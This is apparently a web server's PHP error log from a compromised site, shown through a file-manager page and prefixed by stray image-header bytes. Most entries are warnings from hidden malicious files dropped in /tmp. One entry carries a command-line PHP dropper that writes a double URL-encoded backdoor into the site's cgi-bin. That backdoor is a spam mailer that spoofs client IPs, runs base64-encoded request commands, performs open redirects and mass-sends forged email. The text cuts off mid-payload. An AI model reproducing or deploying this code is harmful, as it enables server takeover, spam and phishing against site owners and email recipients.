ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/jogja2.jbchampions.com/error_log
Back
[07-Aug-2025 18:31:30 UTC] PHP Parse error: syntax error, unexpected string content "); " in /tmp/.requests on line 1 [08-Aug-2025 14:06:55 UTC] PHP Warning: Undefined array key "dJ" in /tmp/.rindex on line 1 [08-Aug-2025 14:06:55 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.rindex on line 1 [11-Aug-2025 02:12:57 UTC] PHP Warning: Undefined array key "kB" in /tmp/.db2_convert on line 1 [11-Aug-2025 02:12:57 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.db2_convert on line 1 [05-Sep-2025 08:53:04 UTC] PHP Warning: Undefined array key "gl" in /tmp/.class on line 1 [05-Sep-2025 08:53:04 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.class on line 1 [06-Sep-2025 14:55:53 UTC] PHP Warning: Undefined array key "FW" in /tmp/.classes on line 1 [06-Sep-2025 14:55:53 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.classes on line 1 [11-Sep-2025 03:03:32 UTC] PHP Warning: Undefined array key "Vp" in /tmp/.ob_iconv_handle on line 1 [11-Sep-2025 03:03:32 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.ob_iconv_handle on line 1 [14-Sep-2025 09:09:41 UTC] PHP Warning: Undefined array key "Em" in /tmp/.center on line 1 [14-Sep-2025 09:09:41 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.center on line 1 [21-Sep-2025 09:31:52 UTC] PHP Warning: Undefined array key "EH" in /tmp/.ob_iconv_handle on line 1 [21-Sep-2025 09:31:52 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.ob_iconv_handle on line 1 [26-Sep-2025 09:40:52 UTC] PHP Warning: Undefined array key "zi" in /tmp/.post on line 1 [26-Sep-2025 09:40:52 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.post on line 1 [01-Oct-2025 20:35:46 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20%20%20%24p%20%3D%20%22/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/headlines.class.php%22%3B%20%24c%20%3D%20rawurldecode%28%27%253C%253Fphp%250D%250A%250D%250Aif%2528isset%2528%2524_COOKIE%255B%2527bZ%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520die%2528%2527760Xb%2527.%25272pMI8%2527%2529%253B%250D%250A%257D%250D%250A%250D%250Aclass%2520CompactMailer%250D%250A%257B%250D%250A%2520%2520%2520%2520private%2520%2524ip%253B%250D%250A%2520%2520%2520%2520private%2520%2524randm_array%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520private%2520%2524attachment_array%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520private%2520%2524unsubscribe%2520%253D%25200%253B%250D%250A%2520%2520%2520%2520private%2520%2524encoding%2520%253D%2520%2527UTF-8%2527%253B%250D%250A%2520%2520%2520%2520private%2520%2524custom_headers%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520private%2520%2524context%253B%250D%250A%2520%2520%2520%2520private%2520%2524eol%2520%253D%2520%2522%255Cr%255Cn%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520public%2520function%2520__construct%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540error_reporting%25280%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ini_set%2528%2527display_errors%2527%252C%25200%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540set_time_limit%2528300%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ignore_user_abort%2528true%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ini_set%2528%2527max_execution_time%2527%252C%2520300%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ini_set%2528%2527mail.add_x_header%2527%252C%25200%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ini_set%2528%2527expose_php%2527%252C%25200%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527check%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520die%2528%2527%252Aok%252A%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2528empty%2528%2524_REQUEST%2529%2529%2520die%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524_SERVER%255B%2527PHP_SELF%2527%255D%2520%253D%2520%2527/%2527%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eip%2520%253D%2520isset%2528%2524_SERVER%255B%2527SERVER_ADDR%2527%255D%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253F%2520%2524_SERVER%255B%2527SERVER_ADDR%2527%255D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253A%2520rand%25281%252C%2520255%2529.%2527.%2527.rand%25280%252C%2520255%2529.%2527.%2527.rand%25280%252C%2520255%2529.%2527.%2527.rand%25280%252C%2520255%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524_SERVER%255B%2527HTTP_X_FORWARDED_FOR%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524_SERVER%255B%2527HTTP_X_FORWARDED_FOR%2527%255D%2520%253D%2520%2524this-%253Eip%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_SERVER%255B%2527REMOTE_ADDR%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524_SERVER%2520as%2520%2524k%2520%253D%253E%2520%2524v%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524v%2520%253D%253D%2520%2524_SERVER%255B%2527REMOTE_ADDR%2527%255D%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524_SERVER%255B%2524k%255D%2520%253D%2520%2524this-%253Eip%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524_SERVER%255B%2527REMOTE_ADDR%2527%255D%2520%253D%2520%2524this-%253Eip%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Econtext%2520%253D%2520%2540stream_context_create%2528array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522ssl%2522%2520%253D%253E%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522verify_peer%2522%2520%2520%2520%2520%2520%2520%2520%253D%253E%2520false%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522verify_peer_name%2522%2520%2520%253D%253E%2520false%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522allow_self_signed%2522%2520%253D%253E%2520true%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524domain%2520%253D%2520%2524this-%253Eget_domain%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Ebasedomain%2520%253D%2520%2524domain%255B0%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Efulldomain%2520%253D%2520%2524domain%255B1%255D%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520public%2520function%2520run%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527r%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Edo_redirect%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527u%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Edo_unsubscribe%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527lu%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eshow_unsubscribe_log%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527du%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Edelete_unsubscribe_log%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527ce%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520parse_str%2528base64_decode%2528%2524_REQUEST%255B%2527ce%2527%255D%2529%252C%2520%2524_REQUEST%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528count%2528%2524_REQUEST%2529%2520%253D%253D%25201%2520%2526%2526%2520strlen%2528key%2528%2524_REQUEST%2529%2529%2520%253D%253D%25203%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520parse_str%2528base64_decode%2528%2524_REQUEST%255Bkey%2528%2524_REQUEST%2529%255D%2529%252C%2520%2524_REQUEST%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527e%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eencoding%2520%253D%2520%2524_REQUEST%255B%2527e%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527che%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Ecustom_headers%2520%253D%2520%2524_REQUEST%255B%2527che%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527ch%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Edo_check%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520die%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527sn%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Edo_send%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520do_redirect%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st1%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st2%2520%253D%2520%2527%253F%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528explode%2528%2527%2526%2527%252C%2520base64_decode%2528%2524_REQUEST%255B%2527r%2527%255D%2529%2529%2520as%2520%2524param%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524d_st2%2520%253D%2520explode%2528%2527%253D%2527%252C%2520trim%2528%2524param%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524d_st2%255B0%255D%2520%253D%253D%2520%2527l%2527%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st%2520%253D%2520%2524d_st2%255B1%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st1%2520.%253D%2520%2524n_st2.%2524d_st2%255B0%255D.%2527%253D%2527.%2524d_st2%255B1%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st2%2520%253D%2520%2527%2526%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520die%2528%2522%253Cmeta%2520http-equiv%253D%255C%2522refresh%255C%2522%2520content%253D%255C%25220%253Burl%253D%2524n_st%2524n_st1%255C%2522%253E%2522%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520do_unsubscribe%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524d_st%2520%253D%2520base64_decode%2528%2524_REQUEST%255B%2527u%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540file_put_contents%2528%2527logsubsc.log%2527%252C%2520date%2528%2527%255BY-m-d%2520H%253Ai%253As%255D%2520%2527%2529.%2524d_st.%2522%255Cr%255Cn%2522%252C%2520FILE_APPEND%2520%257C%2520LOCK_EX%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520die%2528%2522%253Cbr%253E%253Cbr%253E%253Cbr%253E%253Ccenter%253EYou%2520have%2520unsubscribed%2520from%2520the%2520newsletter%2521%253C/center%253E%253Cbr%253E%253Ccenter%253EEmail%253A%2520%253Cb%253E%2524d_st%253C/b%253E%253C/center%253E%2522%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520show_unsubscribe_log%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528is_file%2528%2527logsubsc.log%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520die%2528nl2br%2528%2540file_get_contents%2528%2527logsubsc.log%2527%2529%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520die%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520delete_unsubscribe_log%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528is_file%2528%2527logsubsc.log%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540unlink%2528%2527logsubsc.log%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520die%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520do_check%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524subj%2520%253D%2520isset%2528%2524_REQUEST%255B%2527s%2527%255D%2529%2520%253F%2520%2524_REQUEST%255B%2527s%2527%255D%2520%253A%2520%2524this-%253Ebasedomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524msg%2520%253D%2520isset%2528%2524_REQUEST%255B%2527ms%2527%255D%2529%2520%253F%2520%2524_REQUEST%255B%2527ms%2527%255D%2520%253A%2520%2524this-%253Ebasedomain%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527st%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Avalid%253Aok%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527m%2527%255D%2529%2520%2526%2526%2520function_exists%2528%2527mail%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524em%2520%253D%2520explode%2528%2527%253A%2527%252C%2520%2524_REQUEST%255B%2527m%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524em%2520%253D%2520isset%2528%2524em%255B0%255D%2529%2520%253F%2520%2524em%255B0%255D%2520%253A%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2528%2524this-%253Echeck_mail%2528%2524em%252C%2520%2524subj%252C%2520%2524msg%2529%2520%253F%2520%2527%252Amail%253Aok%252A%2527%2520%253A%2520%2527%252Amail%253Abad%252A%2527%2529.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amail%253Abad%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527rb%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524rbl%2520%253D%2520%2524this-%253Echeck_rbl%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2528%2524rbl%2520%253D%253D%2520%2527%2527%2520%253F%2520%2527%252Arbl%253Aok%252A%2527%2520%253A%2520%2527%252Arbl%253A%2527.%2524rbl.%2527%252A%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520check_mail%2528%2524to%252C%2520%2524subj%252C%2520%2524msg%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520chunk_split%2528base64_encode%2528%2524msg%2529%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%2520%2520%253D%2520%2524this-%253Erandom_text%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%2520%2520%253D%2520%2524from_name.%2527%2540%2527.%2524this-%253Ebasedomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%2520%2520%2520%253D%2520%2524this-%253Eget_headers%2528%2524from_name%252C%2520%2524from_addr%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%2520%2520.%253D%2520%2522Content-Type%253A%2520text/html%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sent%2520%253D%2520%2524this-%253Esend_email_method%2528%2524this-%253Ebasedomain%252C%2520%2524from_addr%252C%2520%2524to%252C%2520%2524subj%252C%2520%2524body%252C%2520%2524headers%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sent%2520%2526%2526%2520%2524this-%253Ebasedomain%2520%2521%253D%2520%2524this-%253Efulldomain%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%2520%2520%253D%2520%2524this-%253Erandom_text%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%2520%2520%253D%2520%2524from_name.%2527%2540%2527.%2524this-%253Efulldomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%2520%2520%2520%253D%2520%2524this-%253Eget_headers%2528%2524from_name%252C%2520%2524from_addr%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%2520%2520.%253D%2520%2522Content-Type%253A%2520text/html%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sent%2520%253D%2520%2524this-%253Esend_email_method%2528%2524this-%253Efulldomain%252C%2520%2524from_addr%252C%2520%2524to%252C%2520%2524subj%252C%2520%2524body%252C%2520%2524headers%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524sent%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520do_send%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527m%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524a%2520%253D%2520%2540explode%2528%2527.%2527%252C%2520%2524this-%253Ebasedomain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524_REQUEST%255B%2527m%2527%255D%2520%253D%2520str_replace%2528%2527%255Bshelldomain%253A%255D%2527%252C%2520ucfirst%2528%2524a%255B0%255D%2529%252C%2520%2524_REQUEST%255B%2527m%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524emails%2520%253D%2520isset%2528%2524_REQUEST%255B%2527em%2527%255D%2529%2520%253F%2520explode%2528%2522%255Cn%2522%252C%2520%2524_REQUEST%255B%2527em%2527%255D%2529%2520%253A%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524emails%2520as%2520%2524email%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%2520%253D%2520explode%2528%2527%257C%2527%252C%2520trim%2528%2524email%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521isset%2528%2524data%255B0%255D%2529%2520%257C%257C%2520empty%2528%2524data%255B0%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_replyto%2520%253D%2520%2528%2521empty%2528%2524_REQUEST%255B%2527rpt%2527%255D%2529%2529%2520%253F%2520trim%2528%2524this-%253Eprocess_macros_random%2528%2524_REQUEST%255B%2527rpt%2527%255D%252C%2520%2524data%2529%2529%2520%253A%2520null%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_from%2520%2520%2520%2520%253D%2520%2524this-%253Eprocess_macros_random%2528%2524this-%253Ehandle_data%2528%2524_REQUEST%255B%2527f%2527%255D%2529%252C%2520%2524data%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%253D%2520%2524r_from%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%253D%2520%2524this-%253Eget_text_between%2528%2524r_from%252C%2520%2527%253C%2527%252C%2520%2527%253E%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524from_addr%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%253D%2520trim%2528str_replace%2528%2527%253C%2527.%2524from_addr.%2527%253E%2527%252C%2520%2527%2527%252C%2520%2524from_name%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528strpos%2528%2524from_addr%252C%2520%2527%2540%2527%2529%2520%253D%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520.%253D%2520%2527%2540%2527.%2524this-%253Ebasedomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524email%2520%253D%2520%2524data%255B0%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524email_domain%2520%253D%2520explode%2528%2527%2540%2527%252C%2520%2524email%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524email_domain%2520%253D%2520%2524email_domain%255B1%255D%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%253D%2520str_replace%2528array%2528%2527%255Bfrom%253A%255D%2527%252C%2520%2527%255Bemail%253A%255D%2527%252C%2520%2527%255Bemaildomain%253A%255D%2527%2529%252C%2520array%2528%2524r_from%252C%2520%2524email%252C%2520%2524email_domain%2529%252C%2520%2524from_name%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%253D%2520str_replace%2528array%2528%2527%255Bfrom%253A%255D%2527%252C%2520%2527%255Bemail%253A%255D%2527%252C%2520%2527%255Bemaildomain%253A%255D%2527%2529%252C%2520array%2528%2524r_from%252C%2520%2524email%252C%2520%2524email_domain%2529%252C%2520%2524from_addr%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_subject%2520%253D%2520%2524this-%253Ehandle_data%2528%2524_REQUEST%255B%2527s%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_subject%2520%253D%2520str_replace%2528array%2528%2527%255Bfrom%253A%255D%2527%252C%2520%2527%255Bemail%253A%255D%2527%252C%2520%2527%255Bemaildomain%253A%255D%2527%2529%252C%2520array%2528%2524r_from%252C%2520%2524email%252C%2520%2524email_domain%2529%252C%2520%2524r_subject%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524r_subject%2520%